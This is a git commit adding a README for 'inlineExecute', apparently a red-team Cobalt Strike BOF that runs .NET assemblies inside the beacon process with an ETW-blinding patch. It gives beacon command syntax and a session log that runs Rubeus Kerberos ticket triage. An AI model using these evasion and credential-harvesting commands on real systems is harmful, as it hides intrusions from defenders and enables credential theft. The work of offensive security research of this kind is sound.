Update README.md

2026-06-21 13:56:50 +00:00 · 2025-11-29 21:51:39 +08:00
parent 5ba772f900
commit 79b0a74d0f
1 changed files with 67 additions and 0 deletions
@@ -0,0 +1,67 @@
+# inlineExecute
+inlineExecute is Cobalt Strike BOF that executes a .NET assembly in the current process (rather than spawning a sacrificial process with `execute-assembly`).
+
+It stands as a POC, and as a boilerplate to experiment with novel techniques in the future.
+
+## ETW Bypass
+Currently, it implements a novel ETW bypass technique: Provider Handle Patching. It is documented in my blog - [A Stealthier Reflective Loading](https://loland.cv/posts/2025-11-27-stealthier-reflective-loading/).
+
+The Provider Handle Patching technique prevents ETW telemetry from being generated by userland hooks in `clr.dll`.
+
+Unlike traditional ETW patching techniques. This does not modify memory protections, and does not require suspicious WinAPIs like `WriteProcessMemory`, `NTWriteVirtualMemory`, `VirtualProtect`, `NtProtectVirtualMemory`.
+
+## Usage
+
+Load `inlineExecute.cna` from `Cobalt Strike -> Script Manager -> Load`. Ensure that `inlineExecute.o` and `inlineExecute.cna` are in the same directory.
+
+```shell
+beacon> inlineExecute
+[+] Usage: inlineExecute [-etw] [-verbose] <filepath> <args>
+```
+
+The `-etw` flag patches ETW in `clr.dll`.
+
+```
+inlineExecute -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
+```
+
+The `-verbose` flag outputs debugging information.
+
+```
+inlineExecute -verbose -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
+```
+
+Example usage with `Rubeus.exe triage`.
+
+```shell
+[11/29 04:08:35] beacon> inlineExecute -etw /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe triage
+[11/29 04:08:35] [+] Executing: /home/kali/Tools/Ghostpack-CompiledBinaries/Rubeus.exe
+[11/29 04:08:35] [+] Arguments: triage
+[11/29 04:08:37] [+] host called home, sent: 459528 bytes
+[11/29 04:08:37] [+] received output:
+
+
+   ______        _                      
+  (_____ \      | |                     
+   _____) )_   _| |__  _____ _   _  ___ 
+  |  __  /| | | |  _ \| ___ | | | |/___)
+  | |  \ \| |_| | |_) ) ____| |_| |___ |
+  |_|   |_|____/|____/|_____)____/(___/
+
+  v2.2.0 
+
+
+Action: Triage Kerberos Tickets (Current User)
+
+[*] Current LUID    : 0x1bc1b
+
+ --------------------------------------- 
+ | LUID | UserName | Service | EndTime |
+ --------------------------------------- 
+ --------------------------------------- 
+
+
+
+[11/29 04:08:37] [+] received output:
+[+] Done
+```